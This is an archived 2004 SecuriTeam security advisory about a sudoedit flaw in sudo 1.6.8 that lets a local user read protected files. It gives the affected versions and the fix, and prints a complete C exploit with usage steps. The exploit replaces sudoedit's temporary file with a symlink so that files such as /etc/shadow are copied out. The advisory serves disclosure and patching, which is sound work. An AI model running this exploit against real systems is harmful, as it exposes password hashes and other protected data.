[UNIX] Sudo -u Parameter File Exposure
From: SecuriTeam (support_at_securiteam.com)
Date: 10/05/04
- Previous message: SecuriTeam: "[NEWS] Inkra 1504GX IP Protocol Parsing DoS"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
To: list@securiteam.com Date: 5 Oct 2004 12:00:08 +0200
The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion
The SecuriTeam alerts list - Free, Accurate, Independent.
Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html
- - - - - - - - -
Sudo -u Parameter File Exposure
------------------------------------------------------------------------
SUMMARY
<http://www.sudo.ws/sudo/sudo.html> Sudo (superuser do) allows a system
administrator to give certain users (or groups of users) the ability to
run some (or all) commands as root or another user while logging the
commands and arguments.
A flaw in exists in sudo's -u option (aka sudoedit) that can give an
attacker read permission to a file that would otherwise be unreadable.
DETAILS
Vulnerable Systems:
* sudo 1.6.8 and prior
Immune Systems:
* sudo version 1.6.8p1 and newer
While sudoedit runs the actual editor as the invoking user, the temporary
file is then re-opened with root privileges. An attacker can run sudoedit,
remove the editor temporary file, make a link to an unreadable file with
the same name as the old temporary file and quit the editor. The file
being edited via sudoedit will now contain a copy of the previously
unreadable file.
Impact:
Exploitation of the bug requires that the sudoers file be configured to
allow the attacker to run sudoedit. If no users have been granted access
to sudoedit there is no impact.
Fix:
The bug is fixed in sudo 1.6.8p1.
Exploit:
/*
Copyright Rosiello Security 2004
http://www.rosiello.org
sudoedit Exploit
SOFTWARE : sudoedit
REFERENCE: http://www.sudo.ws/sudo/alerts/sudoedit.html
DATE: 18/09/2004
Summary:
A flaw in exists in sudo's -u option (aka sudoedit)
in sudo version 1.6.8 that can give an attacker
read permission to a file that would otherwise be
unreadable.
Sudo versions affected:
1.6.8 only
Credit:
Reznic Valery discovered the problem.
-----------------------------------------------------------
All the information that you can find in this software
were published for educational and didactic purpose only.
The author published this program under the condition
that is not in the intention of the reader to use them
in order to bring to himself or others a profit or to bring
to others damage.
!Respect the law!
How do I use this code ?
To exploit sudoedit you have to open with it the
file "rosiello" as shown in the example.
EXAMPLE SCENARIO:
1) Open two shells (i) and (ii);
2) (i)$sudoedit rosiello;
3) (ii)$./sudoedit-exploit /etc/shadow;
4) (i) close sudoedit.
The file "rosiello" is now a copy of "/etc/shadow".
AUTHOR : Angelo Rosiello
CONTACT: angelo@rosiello.org
*/
#include <stdio.h>
#include <sys/stat.h>
#include <string.h>
#include <sys/types.h>
#include <fcntl.h>
#include <dirent.h>
int main( int argc, char *argv[] )
{
char PATH[]="/usr/tmp";
char file[32];
DIR *tmp;
struct dirent *de;
int found = 0;
printf( "Copyright Rosiello Security 2004\n" );
printf( "http://www.rosiello.org\n" );
if( argc!=2 )
{
printf( "USAGE: %s file\n", argv[0] );
return( -1 );
}
tmp = opendir ( PATH );
while ( !found && (de = readdir ( tmp ))!= NULL )
{
if ( (strstr(de->d_name, "rosiello") != NULL) )
{
if( strlen(de->d_name) > 22 ) return( -1 );
sprintf( file, "%s/%s", PATH, (char *)de->d_name );
remove( file );
if( fork()!=0 )
{
execl( "/bin/ln", "ln", "-s", argv[1], file, NULL );
}
wait( );
printf( "Now you can close sudoedit and reopen rosiello!\n" );
found=1;
}
}
closedir( tmp );
if( !found )
printf( "File Not Found!\n" );
return( 0 );
}
ADDITIONAL INFORMATION
The information has been provided by Reznic Valery.
The exploit code has been provided by <mailto:angelo@rosiello.org> Angelo
Rosiello.
========================================
This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com
====================
====================
DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.
- Previous message: SecuriTeam: "[NEWS] Inkra 1504GX IP Protocol Parsing DoS"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
Relevant Pages
- [UNIX] Sudo Race Condition Vulnerability
... The following security advisory is sent to the securiteam mailing list, and can be
found at the SecuriTeam web site: http://www.securiteam.com ... A race condition with the Sudo
command pathname handling allows a local ... When a user runs a command via Sudo, the
inode and device numbers of the ... listed in the sudoers file is stored in the variable
safe_cmnd, ... (Securiteam) - [EXPL] sudo Local Privilege Escalation
... The following security advisory is sent to the securiteam mailing list, and can be
found at the SecuriTeam web site: http://www.securiteam.com ... sudo is a program in Unix,
Linux, and similar operating ... echo "Getting root!!" ... % gcc -o egg egg.c
... (Securiteam) - [UNIX] Appfluent Database IDS Local Buffer Overflow
... The following security advisory is sent to the securiteam mailing list, and can be
found at the SecuriTeam web site: http://www.securiteam.com ... Appfluent Database IDS Local
Buffer Overflow ... The problem is specific to the watcher process, as it needs to
be run as ... administrators can run the process via sudo. ... (Securiteam) - Sudo Exploit by Rosiello Security
... A flaw in exists in sudo's -u option (aka sudoedit) in sudo version 1.6.8 that
can give an attacker read permission to a file that would otherwise be unreadable. ... REFERENCE:
http://www.sudo.ws/sudo/alerts/sudoedit.html ... (Bugtraq) - [UNIX] sudo Pathname Validation Race Condition (Exploit)
... The following security advisory is sent to the securiteam mailing list, and can be
found at the SecuriTeam web site: http://www.securiteam.com ... sudo is "a program written
for UNIX, Linux, and similar ... #ifdef BUFSIZ ... OpenBSD sudo 1.3.1 - 1.6.8p
local root exploit ... (Securiteam)